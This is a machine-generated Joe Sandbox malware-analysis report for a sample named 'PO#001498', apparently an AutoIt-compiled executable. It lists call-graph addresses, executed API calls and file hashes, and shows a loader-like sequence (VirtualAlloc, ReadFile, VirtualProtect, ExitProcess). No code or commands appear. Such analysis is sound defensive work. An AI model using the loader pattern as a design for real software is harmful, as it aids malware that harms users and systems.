86313 44b42b 86312->86313 86314 44b449 86313->86314 86315 401b70 75 API calls 86313->86315 86314->86306 86316 44b43f 86315->86316 86316->86306 86317->86286 86318->86287 86319->86294 86320->86306 86322 402d71 86321->86322 86327 402cd2 _memcpy_s ctype 86321->86327 86324 41171a 75 API calls 86322->86324 86323 41171a 75 API calls 86325 402cd9 86323->86325 86324->86327 86326 41171a 75 API calls 86325->86326 86328 402cff 86325->86328 86326->86328 86327->86323 86328->86306 86329->86306 86330->85557 86331->85558 86332 431914 86333 431920 86332->86333 86334 431928 86333->86334 86335 43193d 86333->86335 86596 45e62e 116 API calls 3 library calls 86334->86596 86597 47f2b4 174 API calls 86335->86597 86338 43194a 86374 4095b0 ctype 86338->86374 86598 45e62e 116 API calls 3 library calls 86338->86598 86340 409708 86342 4097af 86342->86340 86583 40d590 VariantClear 86342->86583 86343 4315b8 WaitForSingleObject 86346 4315d6 GetExitCodeProcess CloseHandle 86343->86346 86343->86374 86345 431623 Sleep 86350 43163b timeGetTime 86345->86350 86369 409894 86345->86369 86587 40d590 VariantClear 86346->86587 86350->86369 86351 40986e Sleep 86355 409880 timeGetTime 86351->86355 86351->86369 86354 4098f1 TranslateMessage DispatchMessageW 86354->86374 86355->86369 86356 431673 CloseHandle 86356->86369 86357 40d590 VariantClear 86357->86369 86358 43170c GetExitCodeProcess CloseHandle 86358->86369 86359 46e641 134 API calls 86359->86369 86362 46dd22 133 API calls 86362->86369 86364 431781 Sleep 86364->86374 86369->86356 86369->86357 86369->86358 86369->86359 86369->86362 86369->86364 86373 4092c0 VariantClear 86369->86373 86369->86374 86584 447e59 75 API calls 86369->86584 86585 453b07 77 API calls 86369->86585 86586 4646a2 76 API calls 86369->86586 86588 444233 88 API calls _wcslen 86369->86588 86589 457509 VariantClear 86369->86589 86590 404120 86369->86590 86594 4717e3 VariantClear 86369->86594 86595 436272 6 API calls 86369->86595 86372 4319c9 VariantClear 86372->86374 86373->86369 86374->86340 86374->86342 86374->86343 86374->86345 86374->86351 86374->86354 86374->86369 86374->86372 86375 45e62e 116 API calls 86374->86375 86376 4092c0 VariantClear 86374->86376 86378 40b380 86374->86378 86402 409340 86374->86402 86435 409030 86374->86435 86449 40d300 86374->86449 86454 40d320 86374->86454 86460 409a40 86374->86460 86599 40e380 VariantClear ctype 86374->86599 86375->86374 86376->86374 86379 40b3a5 86378->86379 86380 40b53d 86378->86380 86381 430a99 86379->86381 86386 40b3b6 86379->86386 86600 45e62e 116 API calls 3 library calls 86380->86600 86601 45e62e 116 API calls 3 library calls 86381->86601 86384 430aae 86389 4092c0 VariantClear 86384->86389 86385 40b528 86385->86374 86386->86384 86390 40b3f2 86386->86390 86398 40b4fd ctype 86386->86398 86388 430dc9 86388->86388 86389->86385 86391 430ae9 VariantClear 86390->86391 86394 40b429 86390->86394 86400 40b476 ctype 86390->86400 86401 40b43b ctype 86391->86401 86392 40b4eb 86392->86398 86603 40e380 VariantClear ctype 86392->86603 86393 430d41 VariantClear 86393->86398 86394->86401 86602 40e380 VariantClear ctype 86394->86602 86397 41171a 75 API calls 86397->86400 86398->86385 86604 45e62e 116 API calls 3 library calls 86398->86604 86399 430d08 ctype 86399->86393 86399->86398 86400->86392 86400->86399 86401->86397 86401->86400 86403 409386 86402->86403 86405 409395 86402->86405 86605 4042f0 75 API calls __cinit 86403->86605 86407 42fba9 86405->86407 86409 42fc07 86405->86409 86411 42fc85 86405->86411 86413 42fd4f 86405->86413 86414 42fcd8 86405->86414 86416 42fd39 86405->86416 86423 40946f 86405->86423 86426 40947b 86405->86426 86428 4094c1 86405->86428 86430 4092c0 VariantClear 86405->86430 86434 409484 ctype 86405->86434 86608 453155 75 API calls 86405->86608 86610 40c620 118 API calls 86405->86610 86612 45e62e 116 API calls 3 library calls 86405->86612 86609 45e62e 116 API calls 3 library calls 86407->86609 86611 45e62e 116 API calls 3 library calls 86409->86611 86613 4781ae 140 API calls 86411->86613 86417 4092c0 VariantClear 86413->86417 86615 47f2b4 174 API calls 86414->86615 86617 45e62e 116 API calls 3 library calls 86416->86617 86417->86434 86419 42fc9c 86419->86434 86614 45e62e 116 API calls 3 library calls 86419->86614 86421 42fce9 86421->86434 86616 45e62e 116 API calls 3 library calls 86421->86616 86606 409210 VariantClear 86423->86606 86429 4092c0 VariantClear 86426->86429 86428->86434 86607 404260 76 API calls 86428->86607 86429->86434 86430->86405 86432 4094e1 86433 4092c0 VariantClear 86432->86433 86433->86434 86434->86374 86618 409110 117 API calls 86435->86618 86437 42ceb6 86628 410ae0 VariantClear ctype 86437->86628 86439 40906e 86439->86437 86441 42cea9 86439->86441 86443 4090a4 86439->86443 86440 42cebf 86627 45e62e 116 API calls 3 library calls 86441->86627 86619 404160 86443->86619 86446 4090f0 ctype 86446->86374 86447 4092c0 VariantClear 86448 4090be ctype 86447->86448 86448->86446 86448->86447 86450 4292e3 86449->86450 86451 40d30c 86449->86451 86452 429323 86450->86452 86453 4292fd TranslateAcceleratorW 86450->86453 86451->86374 86452->86374 86453->86451 86455 4296d0 86454->86455 86458 40d32f 86454->86458 86455->86374 86456 40d33c 86456->86374 86457 42972a IsDialogMessageW 86457->86456 86457->86458 86458->86456 86458->86457 86762 4340ec GetClassLongW 86458->86762 86461 409a66 _wcslen 86460->86461 86462 41171a 75 API calls 86461->86462 86522 40aade _memcpy_s ctype 86461->86522 86463 409a9c _memcpy_s 86462->86463 86465 41171a 75 API calls 86463->86465 86467 409abd 86465->86467 86466 42cee9 86468 41171a 75 API calls 86466->86468 86469 409aeb CharUpperBuffW 86467->86469 86472 409b09 ctype 86467->86472 86467->86522 86510 42cf10 _memcpy_s 86468->86510 86469->86472 86513 409b88 ctype 86472->86513 86765 47d10e 150 API calls 86472->86765 86473 4092c0 VariantClear 86474 42e5e0 86473->86474 86797 410ae0 VariantClear ctype 86474->86797 86476 42e5f2 86477 409e4a 86479 41171a 75 API calls 86477->86479 86483 409ea4 86477->86483 86477->86510 86478 40aa5b 86480 41171a 75 API calls 86478->86480 86479->86483 86497 40aa81 _memcpy_s ctype 86480->86497 86482 409ed0 86485 42d50d 86482->86485 86545 409ef8 _memcpy_s ctype 86482->86545 86775 40b800 VariantClear VariantClear ctype 86482->86775 86483->86482 86484 41171a 75 API calls 86483->86484 86486 42d480 86484->86486 86490 42d527 86485->86490 86776 40b800 VariantClear VariantClear ctype 86485->86776 86489 42d491 86486->86489 86771 44b3f6 75 API calls 86486->86771 86487 40a3a7 86495 40a415 86487->86495 86543 42db5c 86487->86543 86772 40df50 75 API calls 86489->86772 86490->86545 86777 40e2e0 VariantClear ctype 86490->86777 86491 42d195 VariantClear 86491->86513 86492 4092c0 VariantClear 86492->86513 86499 41171a 75 API calls 86495->86499 86506 41171a 75 API calls 86497->86506 86517 40a41c 86499->86517 86502 41171a 75 API calls 86502->86513 86504 42db96 86783 45e62e 116 API calls 3 library calls 86504->86783 86506->86522 86507 42d4a6 86773 4530b3 75 API calls 86507->86773 86509 42d128 86512 4092c0 VariantClear 86509->86512 86796 45e62e 116 API calls 3 library calls 86510->86796 86511 42d4d7 86774 4530b3 75 API calls 86511->86774 86519 42d131 86512->86519 86513->86477 86513->86478 86513->86491 86513->86492 86513->86497 86513->86502 86513->86509 86513->86510 86514 42d20c 86513->86514 86520 42dbb9 86513->86520 86766 40c3e0 75 API calls 86513->86766 86767 40c620 118 API calls 86513->86767 86769 40be00 75 API calls 2 library calls 86513->86769 86770 40e380 VariantClear ctype 86513->86770 86514->86374 86529 40a481 86517->86529 86784 40c8a0 VariantClear ctype 86517->86784 86768 410ae0 VariantClear ctype 86519->86768 86520->86473 86764 401380 75 API calls 86522->86764 86524 41171a 75 API calls 86524->86545 86525 44b3f6 75 API calls 86525->86545 86527 4092c0 VariantClear 86556 40a534 _memcpy_s ctype 86527->86556 86528 411421 74 API calls __cinit 86528->86545 86530 40a4ed 86529->86530 86532 42dc1e VariantClear 86529->86532 86529->86556 86536 40a4ff ctype 86530->86536 86785 40e380 VariantClear ctype 86530->86785 86531 402cc0 75 API calls 86531->86545 86532->86536 86535 41171a 75 API calls 86535->86556 86536->86535 86536->86556 86540 42deb6 VariantClear 86540->86556 86541 40a73c 86544 42e237 86541->86544 86551 40a76b 86541->86551 86542 40e380 VariantClear 86542->86556 86782 4721e5 VariantClear 86543->86782 86789 46e709 VariantClear VariantClear ctype 86544->86789 86545->86487 86545->86504 86545->86522 86545->86524 86545->86525 86545->86528 86545->86531 86545->86543 86550 40a053 86545->86550 86778 45ee98 75 API calls 86545->86778 86779 4019e0 76 API calls 86545->86779 86780 404260 76 API calls 86545->86780 86781 409210 VariantClear 86545->86781 86546 42df47 VariantClear 86546->86556 86547 42dfe9 VariantClear 86547->86556 86549 40a7a2 86563 40a7ad ctype 86549->86563 86790 40b800 VariantClear VariantClear ctype 86549->86790 86550->86374 86551->86549 86575 40a800 ctype 86551->86575 86763 40b800 VariantClear VariantClear ctype 86551->86763 86554 41171a 75 API calls 86554->86556 86555 41171a 75 API calls 86559 42dd10 VariantInit VariantCopy 86555->86559 86556->86527 86556->86540 86556->86541 86556->86542 86556->86544 86556->86546 86556->86547 86556->86554 86556->86555 86786 46e9cd 75 API calls 86556->86786 86787 409210 VariantClear 86556->86787 86788 44cc6c VariantClear ctype 86556->86788 86557 40a8b0 86568 40a8c2 ctype 86557->86568 86792 40e380 VariantClear ctype 86557->86792 86558 42e312 86560 42e337 VariantClear 86558->86560 86558->86568 86559->86556 86561 42dd30 VariantClear 86559->86561 86560->86568 86561->86556 86564 40a7ee 86563->86564 86567 42e2a7 VariantClear 86563->86567 86563->86575 86564->86575 86791 40e380 VariantClear ctype 86564->86791 86565 42e3b2 86570 42e3da VariantClear 86565->86570 86576 40a91a ctype 86565->86576 86567->86575 86568->86565 86569 40a908 86568->86569 86569->86576 86793 40e380 VariantClear ctype 86569->86793 86570->86576 86571 42e47f 86577 42e4a3 VariantClear 86571->86577 86582 40a957 ctype 86571->86582 86573 40a945 86573->86582 86794 40e380 VariantClear ctype 86573->86794 86575->86557 86575->86558 86576->86571 86576->86573 86577->86582 86579 40aa22 ctype 86579->86374 86580 42e559 VariantClear 86580->86582 86582->86579 86582->86580 86795 40e380 VariantClear ctype 86582->86795 86583->86340 86584->86369 86585->86369 86586->86369 86587->86369 86588->86369 86589->86369 86591 40412e 86590->86591 86592 4092c0 VariantClear 86591->86592 86593 404138 86592->86593 86593->86364 86594->86369 86595->86369 86596->86374 86597->86338 86598->86374 86599->86374 86600->86381 86601->86384 86602->86401 86603->86398 86604->86388 86605->86405 86606->86426 86607->86432 86608->86405 86609->86434 86610->86405 86611->86434 86612->86405 86613->86419 86614->86434 86615->86421 86616->86434 86617->86413 86618->86439 86620 4092c0 VariantClear 86619->86620 86621 40416e 86620->86621 86622 404120 VariantClear 86621->86622 86623 40419b 86622->86623 86629 40efe0 86623->86629 86637 4734b7 86623->86637 86624 4041c6 86624->86437 86624->86448 86627->86437 86628->86440 86630 40eff5 CreateFileW 86629->86630 86631 4299bf 86629->86631 86632 40f017 86630->86632 86631->86632 86633 4299c4 CreateFileW 86631->86633 86632->86624 86633->86632 86634 4299ea 86633->86634 86681 40e0d0 SetFilePointerEx SetFilePointerEx 86634->86681 86636 4299f5 86636->86632 86638 453063 111 API calls 86637->86638 86639 4734d7 86638->86639 86640 473545 86639->86640 86641 47350c 86639->86641 86682 463c42 86640->86682 86642 4092c0 VariantClear 86641->86642 86645 473514 86642->86645 86644 473558 86646 473595 86644->86646 86647 47355c 86644->86647 86645->86624 86649 473616 86646->86649 86652 453063 111 API calls 86646->86652 86662 473655 86646->86662 86741 462f5a 87 API calls __wcsicoll 86646->86741 86648 4092c0 VariantClear 86647->86648 86653 473564 86648->86653 86695 463d7e 86649->86695 86651 473622 86654 473697 86651->86654 86655 47362c 86651->86655 86652->86646 86653->86624 86729 457838 86654->86729 86657 4092c0 VariantClear 86655->86657 86660 473634 86657->86660 86660->86624 86664 4092c0 VariantClear 86662->86664 86675 47365d 86664->86675 86665 4736b0 86742 45e62e 116 API calls 3 library calls 86665->86742 86666 4736c9 86743 40e7e0 76 API calls 86666->86743 86669 4736ba GetCurrentProcess TerminateProcess 86669->86666 86670 4736db 86677 4736ff 86670->86677 86744 40d030 76 API calls 86670->86744 86671 473731 86678 473744 FreeLibrary 86671->86678 86679 47374b 86671->86679 86673 4736f1 86745 46b945 134 API calls 2 library calls 86673->86745 86675->86624 86677->86671 86746 40d030 76 API calls 86677->86746 86747 46b945 134 API calls 2 library calls 86677->86747 86678->86679 86679->86624 86681->86636 86683 45335b 76 API calls 86682->86683 86684 463c5d 86683->86684 86748 442c52 80 API calls _wcslen 86684->86748 86686 463c72 86688 40c060 75 API calls 86686->86688 86694 463cac 86686->86694 86689 463c8e 86688->86689 86749 4608ce 75 API calls _memcpy_s 86689->86749 86691 463ca4 86693 40c740 75 API calls 86691->86693 86692 463cf7 86692->86644 86693->86694 86694->86692 86750 462f5a 87 API calls __wcsicoll 86694->86750 86696 453063 111 API calls 86695->86696 86697 463d99 86696->86697 86698 463de0 86697->86698 86699 463dca 86697->86699 86752 40c760 78 API calls 86698->86752 86751 453081 111 API calls 86699->86751 86702 463dd0 LoadLibraryW 86704 463e09 86702->86704 86703 463de7 86708 463e19 86703->86708 86753 40c760 78 API calls 86703->86753 86706 463e3e 86704->86706 86704->86708 86709 463e4e 86706->86709 86710 463e7b 86706->86710 86707 463dfb 86707->86708 86754 40c760 78 API calls 86707->86754 86708->86651 86755 40d500 75 API calls 86709->86755 86757 40c760 78 API calls 86710->86757 86714 463e57 86756 45efe7 77 API calls ctype 86714->86756 86715 463e82 GetProcAddress 86718 463e90 86715->86718 86717 463e62 GetProcAddress 86720 463e79 86717->86720 86718->86708 86719 463edf 86718->86719 86718->86720 86719->86708 86723 463eef FreeLibrary 86719->86723 86720->86718 86758 403470 75 API calls _memcpy_s 86720->86758 86722 463eb4 86759 40d500 75 API calls 86722->86759 86723->86708 86725 463ebd 86760 45efe7 77 API calls ctype 86725->86760 86727 463ec8 GetProcAddress 86761 401330 ctype 86727->86761 86730 457a4c 86729->86730 86736 45785f _strcat _wcslen _wcscpy ctype 86729->86736 86737 410d40 86730->86737 86731 443576 78 API calls 86731->86736 86732 453081 111 API calls 86732->86736 86733 40c760 78 API calls 86733->86736 86734 4138ba 67 API calls _malloc 86734->86736 86735 40f580 77 API calls 86735->86736 86736->86730 86736->86731 86736->86732 86736->86733 86736->86734 86736->86735 86739 410d55 86737->86739 86738 410ded VirtualProtect 86740 410dbb 86738->86740 86739->86738 86739->86740 86740->86665 86740->86666 86741->86646 86742->86669 86743->86670 86744->86673 86745->86677 86746->86677 86747->86677 86748->86686 86749->86691 86750->86692 86751->86702 86752->86703 86753->86707 86754->86704 86755->86714 86756->86717 86757->86715 86758->86722 86759->86725 86760->86727 86761->86719 86762->86458 86763->86549 86764->86466 86765->86472 86766->86513 86767->86513 86768->86579 86769->86513 86770->86513 86771->86489 86772->86507 86773->86511 86774->86482 86775->86485 86776->86490 86777->86545 86778->86545 86779->86545 86780->86545 86781->86545 86782->86504 86783->86520 86784->86517 86785->86536 86786->86556 86787->86556 86788->86556 86789->86549 86790->86563 86791->86575 86792->86568 86793->86576 86794->86582 86795->86582 86796->86520 86797->86476 86798 42919b 86803 40ef10 86798->86803 86801 411421 __cinit 74 API calls 86802 4291aa 86801->86802 86804 41171a 75 API calls 86803->86804 86805 40ef17 86804->86805 86806 42ad48 86805->86806 86811 40ef40 74 API calls __cinit 86805->86811 86808 40ef2a 86812 40e470 86808->86812 86811->86808 86813 40c060 75 API calls 86812->86813 86814 40e483 GetVersionExW 86813->86814 86815 4021e0 75 API calls 86814->86815 86816 40e4bb 86815->86816 86838 40e600 86816->86838 86822 42accc 86824 42ad28 GetSystemInfo 86822->86824 86827 42ad38 GetSystemInfo 86824->86827 86825 40e557 GetCurrentProcess 86858 40ee30 LoadLibraryA GetProcAddress 86825->86858 86826 40e56c 86826->86827 86851 40eee0 86826->86851 86831 40e5c9 86855 40eea0 86831->86855 86834 40e5e0 86836 40e5f1 FreeLibrary 86834->86836 86837 40e5f4 86834->86837 86835 40e5dd FreeLibrary 86835->86834 86836->86837 86837->86801 86839 40e60b 86838->86839 86840 40c740 75 API calls 86839->86840 86841 40e4c2 86840->86841 86842 40e620 86841->86842 86843 40e62a 86842->86843 86844 42ac93 86843->86844 86845 40c740 75 API calls 86843->86845 86846 40e4ce 86845->86846 86846->86822 86847 40ee70 86846->86847 86848 40e551 86847->86848 86849 40ee76 LoadLibraryA 86847->86849 86848->86825 86848->86826 86849->86848 86850 40ee87 GetProcAddress 86849->86850 86850->86848 86852 40e5bf 86851->86852 86853 40eee6 LoadLibraryA 86851->86853 86852->86824 86852->86831 86853->86852 86854 40eef7 GetProcAddress 86853->86854 86854->86852 86859 40eec0 LoadLibraryA GetProcAddress 86855->86859 86857 40e5d3 GetNativeSystemInfo 86857->86834 86857->86835 86858->86826 86859->86857 86860 42e89e 86867 40c000 86860->86867 86862 42e8ac 86863 409a40 165 API calls 86862->86863 86864 42e8ca 86863->86864 86878 44b92e VariantClear 86864->86878 86866 42f3ae 86868 40c014 86867->86868 86869 40c007 86867->86869 86871 40c01a 86868->86871 86872 40c02c 86868->86872 86879 409210 VariantClear 86869->86879 86880 409210 VariantClear 86871->86880 86875 41171a 75 API calls 86872->86875 86873 40c00f 86873->86862 86877 40c033 86875->86877 86876 40c023 86876->86862 86877->86862 86878->86866 86879->86873 86880->86876 86881 42793b8 86895 4277008 86881->86895 86883 427948f 86898 42792a8 86883->86898 86885 42794b8 CreateFileW 86887 4279507 86885->86887 86888 427950c 86885->86888 86888->86887 86889 4279523 VirtualAlloc 86888->86889 86889->86887 86890 4279541 ReadFile 86889->86890 86890->86887 86891 427955c 86890->86891 86892 42782a8 13 API calls 86891->86892 86893 427958f 86892->86893 86894 42795b2 ExitProcess 86893->86894 86894->86887 86897 4277693 86895->86897 86901 427a4b8 GetPEB 86895->86901 86897->86883 86899 42792b1 Sleep 86898->86899 86900 42792bf 86899->86900 86901->86897

                                                                                                                                                                                Executed Functions

                                                                                                                                                                                Function 00409A40 Relevance: 32.2, APIs: 15, Strings: 2, Instructions: 2432COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                  • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                  • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                  • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                                • String ID: 0vH$4RH
                                                                                                                                                                                • API String ID: 1143807570-2085553193
                                                                                                                                                                                • Opcode ID: 9afcfa0464a8bf2340200ce8ce710be87dd534dff684ebea75dae85cfdd7aee9
                                                                                                                                                                                • Instruction ID: 7c8f52bff4b3ea9a641e6aac08ab5e1c8beb32691f0f21fab5f23224d73a3634
                                                                                                                                                                                • Opcode Fuzzy Hash: 9afcfa0464a8bf2340200ce8ce710be87dd534dff684ebea75dae85cfdd7aee9
                                                                                                                                                                                • Instruction Fuzzy Hash: 34238170A043109FD724DF25D480A6BB7E1BF89304F54896EE84A9B391D739EC46CB9B
                                                                                                                                                                                Function 0040E470 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 165COMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                • Executed
                                                                                                                                                                                • Not Executed
                                                                                                                                                                                control_flow_graph 1204 40e470-40e500 call 40c060 GetVersionExW call 4021e0 call 40e600 call 40e620 1213 40e506-40e509 1204->1213 1214 42accc-42acd1 1204->1214 1217 40e540-40e555 call 40ee70 1213->1217 1218 40e50b-40e51c 1213->1218 1215 42acd3-42acdb 1214->1215 1216 42acdd-42ace0 1214->1216 1219 42ad12-42ad20 1215->1219 1220 42ace2-42aceb 1216->1220 1221 42aced-42acf0 1216->1221 1235 40e557-40e573 GetCurrentProcess call 40ee30 1217->1235 1236 40e579-40e5a8 1217->1236 1222 40e522-40e525 1218->1222 1223 42ac9b-42aca7 1218->1223 1234 42ad28-42ad2d GetSystemInfo 1219->1234 1220->1219 1221->1219 1225 42acf2-42ad06 1221->1225 1222->1217 1226 40e527-40e537 1222->1226 1228 42acb2-42acba 1223->1228 1229 42aca9-42acad 1223->1229 1230 42ad08-42ad0c 1225->1230 1231 42ad0e 1225->1231 1232 42acbf-42acc7 1226->1232 1233 40e53d 1226->1233 1228->1217 1229->1217 1230->1219 1231->1219 1232->1217 1233->1217 1237 42ad38-42ad3d GetSystemInfo 1234->1237 1235->1236 1246 40e575 1235->1246 1236->1237 1238 40e5ae-40e5c3 call 40eee0 1236->1238 1238->1234 1243 40e5c9-40e5db call 40eea0 GetNativeSystemInfo 1238->1243 1248 40e5e0-40e5ef 1243->1248 1249 40e5dd-40e5de FreeLibrary 1243->1249 1246->1236 1250 40e5f1-40e5f2 FreeLibrary 1248->1250 1251 40e5f4-40e5ff 1248->1251 1249->1248 1250->1251
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetVersionExW.KERNEL32 ref: 0040E495
                                                                                                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                                • GetCurrentProcess.KERNEL32(?,?), ref: 0040E560
                                                                                                                                                                                • GetNativeSystemInfo.KERNELBASE(?,?), ref: 0040E5D3
                                                                                                                                                                                • FreeLibrary.KERNEL32(?), ref: 0040E5DE
                                                                                                                                                                                • FreeLibrary.KERNEL32(?), ref: 0040E5F2
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_wcslen
                                                                                                                                                                                • String ID: pMH
                                                                                                                                                                                • API String ID: 2923339712-2522892712
                                                                                                                                                                                • Opcode ID: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                                                                                                                                • Instruction ID: 31d199e0849a18b4fe3a20375a839c17b1fda7a8e5a404adfed2e153d323e8b3
                                                                                                                                                                                • Opcode Fuzzy Hash: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                                                                                                                                • Instruction Fuzzy Hash: D4612E71508792AEC311CB69C44425ABFE07B6A308F580E6EE48483A42D379E568C7AB
                                                                                                                                                                                Function 0040EB70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • LoadLibraryA.KERNELBASE(uxtheme.dll,0040EB55,0040D86E), ref: 0040EB7B
                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0040EB8D
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: AddressLibraryLoadProc
                                                                                                                                                                                • String ID: IsThemeActive$uxtheme.dll
                                                                                                                                                                                • API String ID: 2574300362-3542929980
                                                                                                                                                                                • Opcode ID: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                                                                                                                • Instruction ID: e8120cabfd18d8fe06d2f96d8b82b2b5a4bcadd10797c678d2963416b1e4c3b8
                                                                                                                                                                                • Opcode Fuzzy Hash: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                                                                                                                • Instruction Fuzzy Hash: 05D0C9B49407039AD7306F72C918B0A7BE4AB50342F204C3EF996A1694DBBCD0508B28
                                                                                                                                                                                Function 00410B90 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 167registryCOMMON
                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00410C44
                                                                                                                                                                                • __wsplitpath.LIBCMT ref: 00410C61
                                                                                                                                                                                  • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                                • _wcsncat.LIBCMT ref: 00410C78
                                                                                                                                                                                • __wmakepath.LIBCMT ref: 00410C94
                                                                                                                                                                                  • Part of subcall function 00413E3C: __wmakepath_s.LIBCMT ref: 00413E52
                                                                                                                                                                                  • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                                  • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                                  • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                                • _wcscpy.LIBCMT ref: 00410CCC
                                                                                                                                                                                • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00020019,?), ref: 00410CE9
                                                                                                                                                                                • RegQueryValueExW.ADVAPI32 ref: 00429BE4
                                                                                                                                                                                • _wcscat.LIBCMT ref: 00429C43
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00429C55
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00429C66
                                                                                                                                                                                • _wcscat.LIBCMT ref: 00429C80
                                                                                                                                                                                • _wcsncpy.LIBCMT ref: 00429CC0
                                                                                                                                                                                • RegCloseKey.ADVAPI32(?), ref: 00429CDE
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
